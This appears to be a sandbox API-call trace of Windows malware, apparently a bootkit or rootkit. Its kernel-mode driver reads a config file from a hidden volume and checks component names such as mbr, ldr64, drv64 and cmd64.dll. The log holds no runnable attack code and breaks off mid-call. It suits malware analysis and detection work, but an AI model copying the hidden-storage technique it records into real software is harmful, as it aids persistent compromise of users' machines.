KeLeaveCriticalRegion () [0120.648] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.648] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.648] KeEnterCriticalRegion () [0120.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.648] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b6000 [0120.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.648] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.648] IdePortDispatch () returned 0x103 [0120.648] KeWaitForMutexObject () returned 0x0 [0120.649] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.649] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.649] IdePortDispatch () returned 0x103 [0120.649] KeWaitForMutexObject () returned 0x0 [0120.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.649] KeLeaveCriticalRegion () [0120.649] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.649] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.649] KeEnterCriticalRegion () [0120.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.649] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.649] KeLeaveCriticalRegion () [0120.649] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.650] KeEnterCriticalRegion () [0120.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.650] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.650] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.650] KeLeaveCriticalRegion () [0120.650] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.650] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.650] KeEnterCriticalRegion () [0120.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.650] ExFreePoolWithTag (P=0xfffffa8003bba600, Tag=0x0) [0120.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.650] KeLeaveCriticalRegion () [0120.650] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.650] ReleaseMutex (hMutex=0xf0) returned 1 [0120.650] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.650] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.650] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.650] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.650] KeEnterCriticalRegion () [0120.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.650] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.650] IdePortDispatch () returned 0x103 [0120.650] KeWaitForMutexObject () returned 0x0 [0120.650] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.650] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.650] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.650] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.650] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.650] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.650] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.650] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.650] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.650] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.650] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.650] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.650] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.651] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.651] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.651] KeLeaveCriticalRegion () [0120.651] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.651] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.651] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.651] KeEnterCriticalRegion () [0120.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.651] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.651] IdePortDispatch () returned 0x103 [0120.651] KeWaitForMutexObject () returned 0x0 [0120.651] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.651] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.651] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.651] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.651] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.651] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.651] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.651] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.651] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.651] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.651] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.651] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.651] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.651] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.651] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.651] KeLeaveCriticalRegion () [0120.651] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.651] ReleaseMutex (hMutex=0x100) returned 1 [0120.651] Sleep (dwMilliseconds=0x2bf20) [0120.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b1e4370, dwHighDateTime=0x1d24fa4)) [0120.658] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.658] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.658] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.658] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.658] KeEnterCriticalRegion () [0120.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.658] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.658] IdePortDispatch () returned 0x103 [0120.658] KeWaitForMutexObject () returned 0x0 [0120.660] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.660] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.660] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.660] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.660] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.660] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcc60 [0120.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.660] KeLeaveCriticalRegion () [0120.660] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.660] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.660] KeEnterCriticalRegion () [0120.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.660] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.660] KeLeaveCriticalRegion () [0120.660] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.660] KeEnterCriticalRegion () [0120.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.660] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.660] IdePortDispatch () returned 0x103 [0120.661] KeWaitForMutexObject () returned 0x0 [0120.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.661] KeLeaveCriticalRegion () [0120.661] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.661] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.661] KeEnterCriticalRegion () [0120.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.661] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b9000 [0120.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.661] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.661] IdePortDispatch () returned 0x103 [0120.661] KeWaitForMutexObject () returned 0x0 [0120.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.661] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.661] IdePortDispatch () returned 0x103 [0120.661] KeWaitForMutexObject () returned 0x0 [0120.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.661] KeLeaveCriticalRegion () [0120.662] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.662] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.662] KeEnterCriticalRegion () [0120.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.662] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.662] KeLeaveCriticalRegion () [0120.662] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.662] KeEnterCriticalRegion () [0120.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.662] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.662] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.662] KeLeaveCriticalRegion () [0120.662] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.662] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.662] KeEnterCriticalRegion () [0120.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.662] ExFreePoolWithTag (P=0xfffffa8003bbcc60, Tag=0x0) [0120.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.663] KeLeaveCriticalRegion () [0120.663] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.663] ReleaseMutex (hMutex=0xf0) returned 1 [0120.663] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.663] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.663] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.663] KeEnterCriticalRegion () [0120.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.663] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.663] IdePortDispatch () returned 0x103 [0120.663] KeWaitForMutexObject () returned 0x0 [0120.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.663] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.663] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.663] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.663] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.663] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba1b0 [0120.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.663] KeLeaveCriticalRegion () [0120.663] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.663] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.663] KeEnterCriticalRegion () [0120.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.664] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.664] KeLeaveCriticalRegion () [0120.664] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.664] KeEnterCriticalRegion () [0120.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.664] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.664] IdePortDispatch () returned 0x103 [0120.664] KeWaitForMutexObject () returned 0x0 [0120.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.664] KeLeaveCriticalRegion () [0120.664] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.664] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.664] KeEnterCriticalRegion () [0120.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.664] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ba000 [0120.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.664] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.664] IdePortDispatch () returned 0x103 [0120.664] KeWaitForMutexObject () returned 0x0 [0120.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.665] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.665] IdePortDispatch () returned 0x103 [0120.665] KeWaitForMutexObject () returned 0x0 [0120.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.665] KeLeaveCriticalRegion () [0120.665] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.665] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.665] KeEnterCriticalRegion () [0120.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.665] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.665] KeLeaveCriticalRegion () [0120.665] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.665] KeEnterCriticalRegion () [0120.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.665] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.665] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.665] KeLeaveCriticalRegion () [0120.666] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.666] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.666] KeEnterCriticalRegion () [0120.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.666] ExFreePoolWithTag (P=0xfffffa8003bba1b0, Tag=0x0) [0120.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.666] KeLeaveCriticalRegion () [0120.666] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.666] ReleaseMutex (hMutex=0xf0) returned 1 [0120.666] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.666] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.666] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.666] KeEnterCriticalRegion () [0120.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 